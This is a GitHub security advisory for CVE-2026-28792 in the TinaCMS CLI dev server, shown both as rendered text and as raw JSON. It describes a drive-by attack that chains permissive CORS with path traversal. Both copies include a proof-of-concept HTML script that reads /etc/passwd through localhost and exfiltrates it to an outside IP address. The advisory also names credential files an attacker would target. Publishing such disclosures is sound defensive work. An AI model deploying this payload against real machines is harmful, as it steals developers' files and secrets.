GHSA-8PW3-9M7F-Q734
Vulnerability from github – Published: 2026-03-12 20:32 – Updated: 2026-03-12 20:32Summary
The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.
Details
The TinaCMS dev server sets permissive CORS headers that allow any origin to make cross-origin requests:
- packages/@tinacms/cli/src/server/server.ts:
app.use(cors());
- packages/@tinacms/cli/src/next/vite/plugins.ts:
server.middlewares.use(cors());
When combined with the path traversal vulnerability, this creates a complete attack chain.
Attack Scenario
Prerequisites
- Developer runs
tinacms dev(default port 4001) - Developer visits attacker's website while TinaCMS is running
No other conditions required - the dev server doesn't need to be: - Exposed to the internet - Bound to 0.0.0.0 - Accessible outside localhost
Attack Flow
- Developer starts TinaCMS:
tinacms dev - Developer browses the web (checking email, social media, etc.)
- Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)
- Attacker's JavaScript exploits CORS + path traversal to read sensitive files
- Files are exfiltrated to attacker's server
PoC
Attacker's Malicious Website (evil.html):
<script>
fetch('http://localhost:4001/../../../etc/passwd')
.then(r => r.text())
.then(data => {
// Exfil via GET
const img = new Image();
img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);
});
</script>
Demonstration
Step 1: Start TinaCMS dev server
tinacms dev
# Server running on http://localhost:4001
Step 2: Host evil.html on attacker server
python3 -m http.server 8000
Step 3: Developer visits http://attacker-server:8000/evil.html
Result: The browser makes cross-origin requests to localhost:4001.
Because cors() returns Access-Control-Allow-Origin: *, the browser
allows the JavaScript to read the responses. Directory listings from
outside the media directory are sent to the attacker's server.
Impact
Who is affected
Every developer running tinacms dev is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.
What an attacker achieves
By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:
- Enumerate the developer's filesystem directory listings via
/media/list/with path traversal reveal file and folder names across the entire filesystem - Discover sensitive files locate
.env,.git/config, SSH keys, cloud credentials, database configs - Write arbitrary files via
/media/upload/with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts - Delete arbitrary files via
/media/DELETE with path traversal
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@tinacms/cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28792"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-12T20:32:09Z",
"nvd_published_at": "2026-03-12T17:16:50Z",
"severity": "CRITICAL"
},
"details": "## Summary\nThe TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer\u0027s machines by simply tricking them into visiting a malicious website while tinacms dev is running.\n\n## Details\nThe TinaCMS dev server sets permissive CORS headers that allow **any origin** to make cross-origin requests:\n\n- packages/@tinacms/cli/src/server/server.ts:\n```\n app.use(cors());\n```\n\n- packages/@tinacms/cli/src/next/vite/plugins.ts:\n```\n server.middlewares.use(cors());\n```\nWhen combined with the path traversal vulnerability, this creates a complete attack chain.\n## Attack Scenario\n\n### Prerequisites\n1. Developer runs `tinacms dev` (default port 4001) \n2. Developer visits attacker\u0027s website while TinaCMS is running\n\n**No other conditions required** - the dev server doesn\u0027t need to be:\n- Exposed to the internet\n- Bound to 0.0.0.0\n- Accessible outside localhost\n\n### Attack Flow\n1. Developer starts TinaCMS: `tinacms dev`\n2. Developer browses the web (checking email, social media, etc.)\n3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)\n4. Attacker\u0027s JavaScript exploits CORS + path traversal to read sensitive files\n5. Files are exfiltrated to attacker\u0027s server\n\n## PoC\n### Attacker\u0027s Malicious Website (evil.html):\n```\n\u003cscript\u003e\nfetch(\u0027http://localhost:4001/../../../etc/passwd\u0027)\n .then(r =\u003e r.text())\n .then(data =\u003e {\n // Exfil via GET\n const img = new Image();\n img.src = \u0027http://192.168.11.117:8080/exfil?data=\u0027 + encodeURIComponent(data);\n });\n\u003c/script\u003e\n```\n### Demonstration\n\n**Step 1:** Start TinaCMS dev server\n```bash\ntinacms dev\n# Server running on http://localhost:4001\n```\n\n**Step 2:** Host evil.html on attacker server\n```bash\npython3 -m http.server 8000\n```\n\n**Step 3:** Developer visits `http://attacker-server:8000/evil.html`\n\n**Result:** The browser makes cross-origin requests to localhost:4001.\nBecause cors() returns Access-Control-Allow-Origin: *, the browser\nallows the JavaScript to read the responses. Directory listings from\noutside the media directory are sent to the attacker\u0027s server.\n\u003cimg width=\"1900\" height=\"366\" alt=\"image\" src=\"https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617\" /\u003e\n\n\n## Impact\n### Who is affected\nEvery developer running `tinacms dev` is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.\n\n### What an attacker achieves\nBy hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:\n\n1. **Enumerate the developer\u0027s filesystem** directory listings via `/media/list/` with path traversal reveal file and folder names\n across the entire filesystem\n2. **Discover sensitive files** locate `.env`, `.git/config`, SSH keys, cloud credentials, database configs\n3. **Write arbitrary files** via `/media/upload/` with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts\n4. **Delete arbitrary files** via `/media/` DELETE with path traversal",
"id": "GHSA-8pw3-9m7f-q734",
"modified": "2026-03-12T20:32:09Z",
"published": "2026-03-12T20:32:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-8pw3-9m7f-q734"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28792"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/pull/6450"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/commit/56d533e610a520ba66b3e58f3a0dc03487d5d5d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinacms/tinacms"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/releases/tag/%40tinacms%2Fcli%402.1.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS"
}
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